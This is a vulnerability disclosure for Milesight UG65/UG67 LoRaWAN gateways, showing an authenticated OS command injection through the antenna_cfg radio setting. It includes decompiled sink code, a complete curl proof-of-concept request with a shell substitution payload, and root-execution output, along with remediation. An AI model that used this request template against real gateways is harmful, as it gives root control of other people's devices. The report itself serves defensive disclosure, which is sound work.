Authenticated Command Injection in Radio Antenna Configuration

Tags

authenticated, low_privilege, command_injection, rce, root_rce, tested

Disclosure information

Field Value
Vendor Milesight
Product UG65 and UG67 LoRaWAN gateways
Tested firmware 60.0.0.50
Component lora_gateway_ubus (yruo_loragw ubus object), reached through /cgi
Vulnerability class CWE-78, OS command injection
Authentication Authenticated low-privilege Read-Write user (ysrole: 1); administrator credentials not required
Validation status Dynamically tested; root shell from Read-Write (ysrole: 1), confirmed by the researcher
Suggested severity High; authenticated low-privilege root RCE
Discovery date 2026-10-23

Summary

The yruo_loragw ubus object is served by lora_gateway_ubus. Its set method handles the radios base, used by the Packet Forwarder -> Radio Settings page (www/view/packetforward/radios.js). For each concentrator module, the page configures the antenna combination (antenna_cfg), radio frequencies, and FSK settings. _set_radios_settings (lora_gateway_ubus.c) stores the user-supplied antenna_cfg string into the per-radio configuration and persists it to /etc/quagga/lora/local_conf.json.

When the gateway configuration is read back during the parse/apply path of the same set request, the per-radio antenna_cfg value is written to /tmp/antenna_cfg by inserting it, without escaping, inside the double quotes of a shell command passed to system():

antenna_cfg = json_object_get_string(sx130x_conf, "antenna_cfg");
snprintf(radio->antenna_cfg, 0x40, "%s", antenna_cfg);
...
memset(cmd, 0, 0x200);
snprintf(cmd, 0x200, "echo \"%s\" > /tmp/antenna_cfg", radio->antenna_cfg);
system(cmd);                    /* lora_gateway_ubus runs as root */

Shell expansion executes the supplied command as root during the same set request; no separate apply is needed. The sink analysis explains the supported substitution and quote-breakout forms.

The web UI renders antenna_cfg as radio buttons (ITXIRX, OTXRX, ...); the backend applies no validation before the shell, so the restriction is client-side only.

The researcher confirmed root command execution through antenna_cfg using a lower-privilege Read-Write account (ysrole: 1): the request returned status:0 and the command output was uid=0(root). Administrator credentials are not required for this confirmed path. The validation record also retains the earlier administrator test.

This is the radios / antenna_cfg sink: the gateway configuration parser reads local_conf.json and writes /tmp/antenna_cfg. It is distinct from the other handlers in the same service.

Authentication and validation

Item Evidence
Entry point POST /cgi, yruo_loragw.set, base=radios
Tested accounts Read-Write (ysrole: 1), confirmed by the researcher; web administrator admin in the earlier proof
Tested input antenna_cfg
Read-Write result antenna_cfg: status:0; uid=0(root)
Dynamic validation Researcher-confirmed dynamic testing produced a root shell from the Read-Write role; the supplied result matrix records status:0 and uid=0(root)
Confirmed exploitation role Low-privilege Read-Write (ysrole: 1)

See the shared web session procedure and authorization evidence.

The recorded request stored antenna_cfg in local_conf.json and executed the shell substitution while parsing the configuration in the same request. No separate apply was needed in the test environment.

Threat-model assessment

The administrator used in the earlier proof can also use the documented admin SSH login when SSH is enabled and reachable. Milesight distinguishes its administrator configuration CLI from the root Linux shell; SSH access alone does not establish unrestricted root access. Milesight CLI documentation.

Milesight also documents enabling Node-RED, signing in with the gateway credentials, and executing a script with su - root -c. This provides a supported administrator route to root command execution. Milesight Node-RED example.

The researcher confirms that this finding was dynamically tested and yields a root shell from the low-privilege Read-Write role (ysrole: 1). This supersedes the earlier administrator-only assessment. The administrator's documented SSH and Node-RED access is background context; the demonstrated attack starts with Read-Write credentials and obtains root execution through command injection.

Proof of concept

The researcher confirms dynamic root-shell exploitation from Read-Write (ysrole: 1). The examples and full transcripts below retain the original reproduction artifacts; the validation record above includes the confirmed low-privilege result.

The following was executed against firmware 60.0.0.50 in the isolated test environment. <gateway> is the management interface (HTTPS by default).

poc_antenna_cfg_rce.py:

.venv/bin/python poc_antenna_cfg_rce.py --host 127.0.0.1 --port 18443 --command 'id > /tmp/duckie; echo duckie >> /tmp/duckie'
.venv/bin/python provision_rw_user.py --host 127.0.0.1 --port 18443

Step 1 - Obtain a session

Follow the shared web login procedure using the assigned Read-Write account credentials, verify that the login result identifies ysrole: 1, and save that session as cookies.txt when reproducing the confirmed antenna_cfg path. The shared admin example and the full transcripts below describe the earlier administrator reproduction.

Step 2 - Inject through the radio settings handler

First fetch the current values to preserve the remaining radio configuration. Then submit those values in a set request with a crafted antenna_cfg:

curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"id":2,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"radios","index":0,"value":{"antenna_cfg":"$(id>/tmp/duckie;echo duckie>>/tmp/duckie)","diplexer":false,"region_freq":0,"radio_0_freq":"867.5","radio_1_freq":"868.5","multi_enable_0":true,"multi_radio_0":1,"multi_freq_0":"868.1","multi_enable_1":true,"multi_radio_1":1,"multi_freq_1":"868.3","multi_enable_2":true,"multi_radio_2":1,"multi_freq_2":"868.5","multi_enable_3":true,"multi_radio_3":0,"multi_freq_3":"867.1","multi_enable_4":true,"multi_radio_4":0,"multi_freq_4":"867.3","multi_enable_5":true,"multi_radio_5":0,"multi_freq_5":"867.5","multi_enable_6":true,"multi_radio_6":0,"multi_freq_6":"867.7","multi_enable_7":true,"multi_radio_7":0,"multi_freq_7":"867.9","lora_enable":true,"lora_radio":1,"lora_freq":"868.3","lora_bandwidth":5,"spread_factor":0,"fsk_enable":true,"fsk_radio":1,"fsk_freq":"868.8","fsk_bandwidth":4,"datarate":50000}}]}'
{"id":2,"model":"...","rtver":"60.0.0.50","status":0,"result":[{}]}

Step 3 - Verify command execution as root

# cat /tmp/duckie
uid=0(root) gid=0(root)
duckie

# grep -o '"antenna_cfg"[^,]*' /etc/quagga/lora/local_conf.json
"antenna_cfg": "$(id>\/tmp\/duckie;echo duckie>>\/tmp\/duckie)"

# cat /tmp/antenna_cfg          # empty: substitution output went to the proof file

Reproduced end to end in the test environment on 2026-10-23: the crafted yruo_loragw.set stored the payload into local_conf.json and the parser executed the substitution as uid=0(root) during the same request. The written /tmp/antenna_cfg contains the empty substitution result, confirming the command executed during the echo, not merely that a malformed file was written.

Affected assets

/usr/sbin/lora_gateway_ubus
/tmp/antenna_cfg                              (sink output)
/etc/quagga/lora/local_conf.json              (persists the injected field)
TCP 443/80 -> nginx
           -> uhttpd (ubus plugin: -u /cgi)
           -> POST /cgi
           -> uhttpd_ubus.so dispatcher (session check)
           -> ubus: yruo_loragw.set base=radios    (served by lora_gateway_ubus, root)
           -> _set_radios_settings stores antenna_cfg -> local_conf.json
           -> gateway-conf parse (same request)
           -> snprintf("echo \"%s\" > /tmp/antenna_cfg", antenna_cfg)
           -> system(...)

Technical details

Request routing

radios contains the packet-forwarder radio settings. The request schema below matches the shipped web client, www/view/packetforward/radios.js, which saves the values through the generic form helper addsave('yruo_loragw', 'set', ...):

{
  "id": 2,
  "execute": 1,
  "core": "yruo_loragw",
  "function": "set",
  "values": [
    {
      "base": "radios",
      "index": 0,
      "value": {
        "antenna_cfg": "<attacker-controlled>",
        "region_freq": 0,
        "radio_0_freq": "867.5",
        "radio_1_freq": "868.5",
        "...": "remaining per-radio fields"
      }
    }
  ]
}

_set_radios_settings (debug string _set_radios_settings @0x2ef90, function at file offset 0x12cb0) iterates through the value attributes, matching the field names region_freq and antenna_cfg, and stores the antenna string into the per-radio structure (stride 0x248, field offset +0x41). The configuration is serialized to /etc/quagga/lora/local_conf.json (SX130x_conf radio sections) and the subsequent parse/apply path writes /tmp/antenna_cfg during the same request.

Sink (unescaped interpolation into a shell)

Two call sites in the gateway-conf parse paths build the same command:

/* site 1: gateway-conf parse used by the radios/general path */
snprintf(cmd, 0x200, "echo \"%s\" > /tmp/antenna_cfg", radio->antenna_cfg);
system(cmd);        /* format string @0x2c090,
                       snprintf @0x20304 (call via GOT @0x4fce8),
                       system   @0x20314 (call via GOT @0x4fdb0) */

/* site 2: region-conf parse (FUN_00218a0), also called from
   _set_ns_gen_settings after network-server settings change */
snprintf(cmd, 0x200, "echo \"%s\" > /tmp/antenna_cfg", radio->antenna_cfg);
system(cmd);        /* snprintf @0x21c50, system @0x21c60 */

The %s value is placed inside a double-quoted shell string. Double quotes allow shell expansion of $, $( ), and `, so an antenna_cfg such as $(cmd) or `cmd` executes cmd with the privileges of lora_gateway_ubus (root). A " in the value additionally breaks out of the quoting context entirely. No character filtering, escaping, or structured write (fopen/fprintf) is used on this path.

Client-side validation only

www/view/packetforward/radios.js collects antenna_cfg from input[name="antenna"] radio buttons (values such as ITXIRX, OTXRX). There is no backend validation of the value before it is interpolated into the shell command; the request can be issued directly to /cgi, bypassing the UI entirely.

The same parse loop renders the packet-forwarder type file with six interpolated values:

snprintf(cmd, 0x200, "echo \"%s %d %s %s %s %s\" > /tmp/pkt_fwd_type",
         serv_type, serv_enabled, serv_addr, ...);
system(cmd);        /* format @0x2caa8, snprintf @0x1d4d8 (fcn.0001ba64) and
                       @0x1fcec; at least serv_type/serv_addr originate from
                       the packet-forwarder server list */

serv_addr is a user-supplied field of the general_conf server list (MS-05 request schema). It feeds another command-injection sink. It was not separately exercised; it shares the remediation below.

Security impact

The researcher-confirmed request using Read-Write (ysrole: 1) converted lower-privilege web configuration access into command execution as root through antenna_cfg, with status:0 and uid=0(root). See the shared impact and limits.

Attack prerequisites

  1. Reach the gateway's HTTP or HTTPS management interface.
  2. Obtain a valid Read-Write web session (ysrole: 1), confirmed sufficient for antenna_cfg. Administrator access is not required.
  3. Submit a radio configuration accepted by the handler, preserving the other fields needed for that device's radio setup.

The sink ran during the set request in the test environment. It did not require a separate apply or restart.

  1. Write /tmp/antenna_cfg and /tmp/pkt_fwd_type directly with file APIs.
  2. Validate antenna_cfg against supported codes (ITXIRX, OTXRX, ...), and validate every field written to /tmp/pkt_fwd_type.
  3. Apply the shared shell-removal, authorization, and audit controls.

Notes on scope

See the shared testing scope.